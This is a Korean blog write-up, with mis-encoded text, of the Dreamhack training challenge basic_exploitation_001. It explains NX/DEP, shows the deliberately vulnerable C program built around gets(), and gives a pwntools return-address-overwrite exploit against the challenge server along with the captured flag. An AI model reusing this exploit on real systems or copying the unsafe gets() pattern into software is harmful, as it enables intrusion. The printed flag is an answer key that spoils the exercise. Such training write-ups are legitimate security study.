Jastes 2022. 4. 27. 14:55


basic_exploitation_001

๋ฌธ์ œ ํ’€์ด

NX ๋ณดํ˜ธ๊ธฐ๋ฒ• ์ ์šฉ๋จ

์ž ๋“ค์–ด๊ฐ€๊ธฐ ์ „์— ๋ฌธ์ œ๊ฐ€ ๋ฐœ์ƒํ–ˆ์Šต๋‹ˆ๋‹ค..

๋ฐ”๋กœ NX๊ฐ€ ์ ์šฉ๋œ ์ฝ”๋“œ๋ผ๋Š” ๊ฒƒ์ด์ฃ 
์ฐธ๊ณ ๋กœ 32-little endian linux์ด๊ณ ์š” ๊ทธ๋Ÿผ ๋“ค์–ด๊ฐ€๊ธฐ ์•ž์จ์„œ NX์— ๋Œ€ํ•ด ์•Œ์•„๋ด์•ผ๊ฒ ์ฃ ?


NX(Bit | MS : DEP)

NX-Bit(Never eXecute Bit; ์‹คํ–‰ ๋ฐฉ์ง€ ๋น„ํŠธ)
- ํ”„๋กœ์„ธ์Šค ๋ช…๋ น์–ด๋‚˜ ์ฝ”๋“œ ๋˜๋Š” ๋ฐ์ดํ„ฐ ์ €์žฅ์„ ์œ„ํ•œ ๋ฉ”๋ชจ๋ฆฌ ์˜์—ญ ๋ถ„๋ฆฌ CPU์˜ ๊ธฐ์ˆ 
- NX ํŠน์„ฑ์œผ๋กœ ์ง€์ •๋œ ๋ชจ๋“  ๋ฉ”๋ชจ๋ฆฌ ๊ตฌ์—ญ์€ ๋ฐ์ดํ„ฐ ์ €์žฅ์„ ์œ„ํ•ด์„œ๋งŒ ์‚ฌ์šฉ๋จ
- ํ”„๋กœ์„ธ์Šค ๋ช…๋ น์–ด๊ฐ€ ๊ทธ๊ณณ์— ์ƒ์ฃผํ•˜์ง€ ์•Š๊ฒŒ ์‹คํ–‰์‹œ์ผœ์คŒ

DEP(Data Execution Prevention)

- MS windows OS์— ํฌํ•จ๋œ ๋ณด์•ˆ ๊ธฐ๋Šฅ์ด๋ฉฐ, ์•…์˜์  ์ฝ”๋“œ ์‹คํ–‰ ๋ฐฉ์ง€๋ฅผ ์œ„ํ•œ ๋ฉ”๋ชจ๋ฆฌ ํ™•์ธ ๊ธฐ์ˆ 
- DEP๋Š” ๋‘ ๊ฐ€์ง€ ๋ชจ๋“œ๋กœ ์‹คํ–‰๋จ
    + HW DEP : ๋ฉ”๋ชจ๋ฆฌ ๋ช…์‹œ์  ์‹คํ–‰ ์ฝ”๋“œ ํฌํ•จ ๊ฒฝ์šฐ ์ œ์™ธํ•˜๊ณ  ๋ชจ๋“  ํ”„๋กœ์„ธ์Šค ๋ฉ”๋ชจ๋ฆฌ ์œ„์น˜ ์‹คํ–‰X
        = ๋Œ€๋ถ€๋ถ„ ์ตœ์‹  ํ”„๋กœ์„ธ์„œ๋Š” HW ์ ์šฉ DEP๋ฅผ ์ง€์›
    + SW DEP : CPU๊ฐ€ HW DEP๋ฅผ ์ง€์›ํ•˜์ง€ ์•Š์„ ๊ฒฝ์šฐ ์‚ฌ์šฉ

์ด๋ ‡๊ฒŒ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
๋” ์ž์„ธํžˆ๋Š” ๋‚˜์ค‘์—... ๊ธฐ์žฌํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค ๋Œ“๊ธ€๋กœ ๋…์ด‰ํ•ด์ฃผ์„ธ์š”


๊ทธ๋Ÿผ ๊ฐ„๋‹จํ•˜๊ฒŒ ์•Œ์•˜์œผ๋ฏ€๋กœ ์ฆ‰ ์‰˜์ฝ”๋“œ๊ฐ€ ์‹คํ–‰์ด ๋˜๋Š” ๋ถ€๋ถ„์„ ์ฐพ์•„์•ผํ•œ๋‹ค๋Š” ์ด์•ผ๊ธฐ!
๊ทธ๋Ÿผ ์ฝ”๋“œ๋ฅผ ํ™•์ธํ•˜๋ฉด์„œ ๋ด๋ณผ๊นŒ์š”?

//file name : basic_exploitation_001.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
 
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
 
 
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
 
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
 
 
void read_flag() { //NX - Bit ์šฐํšŒ ๊ฐ€๋Šฅ 
    system("cat /flag");
}
 
int main(int argc, char *argv[]) {
 
    char buf[0x80]; //128 byte
 
    initialize();
    
    gets(buf); //vuln code
 
    return 0;
}

์œ„ gets๊ฐ€ ์ทจ์•ฝ ์ฝ”๋“œ์ฃ  ๊ทธ ์ด์œ ๊ฐ€ ๊ถ๊ธˆํ•œ๋‹ค๋ฉด.. 

 

Exploit Tech: Return Address Overwrite

์„œ๋ก  ์ด์ œ ์Šคํƒ ์˜ค๋ฒ„ ํ”Œ๋กœ์šฐ๋ฅผ ํ™œ์šฉํ•œ RET๋ฅผ ๋ณ€์กฐํ•ด ์…ธ์„ ํš๋“ํ•˜๋Š”.. ๊ทธ๋Ÿฐ ์›Œ๊ฒŒ์ž„์„ ํ•ด๋ด…์‹œ๋‹ค ์•„๋ž˜๋Š” ์˜ˆ์ œ์˜ˆ์š” 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 // Name: rao.c // Compile:..

dystopia050119.tistory.com

NX ๋ณดํ˜ธ๊ธฐ๋ฒ•์ด ์žˆ๊ธฐ์— ์ €๋Ÿฐ ํ•จ์ˆ˜๋ฅผ ์ด์šฉํ•ด์•ผํ•˜๋ฏ€๋กœ ์ฃผ์†Œ๋ฅผ ์•Œ์•„๋‚ด์–ด
RET๋ฅผ ์œ„ ํ•จ์ˆ˜์˜ ์ฃผ์†Œ๋กœ ์ˆ˜์ •ํ•˜๋ฉด flag๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ๊ฒ ๋„ค์š” ใ…Ž

info funtions๋ฅผ ์ด์šฉํ•˜๊ฑฐ๋‚˜ ์•„๋‹˜ printํ•ด์„œ ์ฃผ์†Œ๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ์ฃ 

๋ญ ๋”ฑํžˆ ๋ถ„์„ํ•  ์ฝ”๋“œ๋„ ์•„๋‹ˆ๊ณ  ์ด์ „์— ์นœ์ ˆํ•˜๊ฒŒ ์ž์„ธํžˆ ํ–ˆ์œผ๋ฏ€๋กœ ์ž˜ ๋ชจ๋ฅด๊ฒ ๋‹ค๋ฉด..

 

Exploit Tech: Return Address Overwrite

์„œ๋ก  ์ด์ œ ์Šคํƒ ์˜ค๋ฒ„ ํ”Œ๋กœ์šฐ๋ฅผ ํ™œ์šฉํ•œ RET๋ฅผ ๋ณ€์กฐํ•ด ์…ธ์„ ํš๋“ํ•˜๋Š”.. ๊ทธ๋Ÿฐ ์›Œ๊ฒŒ์ž„์„ ํ•ด๋ด…์‹œ๋‹ค ์•„๋ž˜๋Š” ์˜ˆ์ œ์˜ˆ์š” 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 // Name: rao.c // Compile:..

dystopia050119.tistory.com

 

Mitigation: NX & ASLR

์‹œ์Šคํ…œ ๋ณด์•ˆ์€ ์ง€๋‚œ ์ˆ˜๋…„๊ฐ„ ๋ฐœ์ „ํ•ด์˜จ ๊ณต๊ฒฉ ๊ธฐ๋ฒ•๊ณผ ๋ณดํ˜ธ ๊ธฐ๋ฒ•์˜ ๋ฐœ์ „ ์–‘์ƒ์„ ๋ณด์‹œ๋ฉด.. ์–ด๋–ค ๋ณดํ˜ธ ๊ธฐ๋ฒ•์ด ๋“ฑ์žฅํ•˜๋ฉด ์šฐํšŒ ๊ธฐ์ˆ ๋„ ๋“ฑ์žฅํ•ฉ๋‹ˆ๋‹ค.. ์ด๋ ‡๊ฒŒ ์–ด๋–ค ๊ณต๊ฒฉ์ด ์˜ฌ์ง€ ๋ชจ๋ฅด๊ธฐ์— ์‹œ์Šคํ…œ ๊ฐœ๋ฐœ์ž๋“ค

dystopia050119.tistory.com

์–ด์งœํ”ผ ๋ญ BOF ์ข…๋ฅ˜๋‹ˆ๊นŒ์š” ์Œ.. ๋ฉด๋ฐ€ํ•˜๊ฒŒ ๋ณด๋ฉด ์ € ๋งํฌ๋ž‘ ๊ด€๋ จ์ด ์—†์„ ์ˆ˜ ์žˆ์ง€๋งŒ..

๊ทธ๋Ÿผ pwntools๋ฅผ ์‚ฌ์šฉํ•ด ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ•ด๋ณผ๊นŒ์š”?

#file : exploit.py
from pwn import *
context.log_level='debug'
 
#p = process('basic_exploitation_001')
p = remote('host1.dreamhack.games', '9014')
e = ELF('basic_exploitation_001')
read_addr = 0x80485b9
 
shellcode = b'A'*128
shellcode += b'B'*0x4
shellcode += p32(read_addr)
 
p.sendline(shellcode)
p.interactive()

๋ญ ์ด์ œ๋Š” ๋ถ„์„ํ•  ํ•„์š”์—†์ฃ ?

๊ทธ๋Ÿผ ์ต์Šคํ”Œ๋กœ์ž‡์„ ์ง„ํ–‰ํ•˜๋ฉด..

DH{01ec06f5e1466e44f86a79444a7cd116}


์ฐธ๊ณ  ์ž๋ฃŒ

 

basic_exploitation_001

Description ์ด ๋ฌธ์ œ๋Š” ์„œ๋ฒ„์—์„œ ์ž‘๋™ํ•˜๊ณ  ์žˆ๋Š” ์„œ๋น„์Šค(basicexploitation001)์˜ ๋ฐ”์ด๋„ˆ๋ฆฌ์™€ ์†Œ์Šค ์ฝ”๋“œ๊ฐ€ ์ฃผ์–ด์ง‘๋‹ˆ๋‹ค. ํ”„๋กœ๊ทธ๋žจ์˜ ์ทจ์•ฝ์ ์„ ์ฐพ๊ณ  ์ต์Šคํ”Œ๋กœ์ž‡ํ•ด "flag" ํŒŒ์ผ์„ ์ฝ์œผ์„ธ์š”. "flag" ํŒŒ์ผ์˜ ๋‚ด์šฉ์„

dreamhack.io

์ฐธ๊ณ  ์ด๋ฏธ์ง€

 

basic_exploitation_001

Description ์ด ๋ฌธ์ œ๋Š” ์„œ๋ฒ„์—์„œ ์ž‘๋™ํ•˜๊ณ  ์žˆ๋Š” ์„œ๋น„์Šค(basicexploitation001)์˜ ๋ฐ”์ด๋„ˆ๋ฆฌ์™€ ์†Œ์Šค ์ฝ”๋“œ๊ฐ€ ์ฃผ์–ด์ง‘๋‹ˆ๋‹ค. ํ”„๋กœ๊ทธ๋žจ์˜ ์ทจ์•ฝ์ ์„ ์ฐพ๊ณ  ์ต์Šคํ”Œ๋กœ์ž‡ํ•ด "flag" ํŒŒ์ผ์„ ์ฝ์œผ์„ธ์š”. "flag" ํŒŒ์ผ์˜ ๋‚ด์šฉ์„

dreamhack.io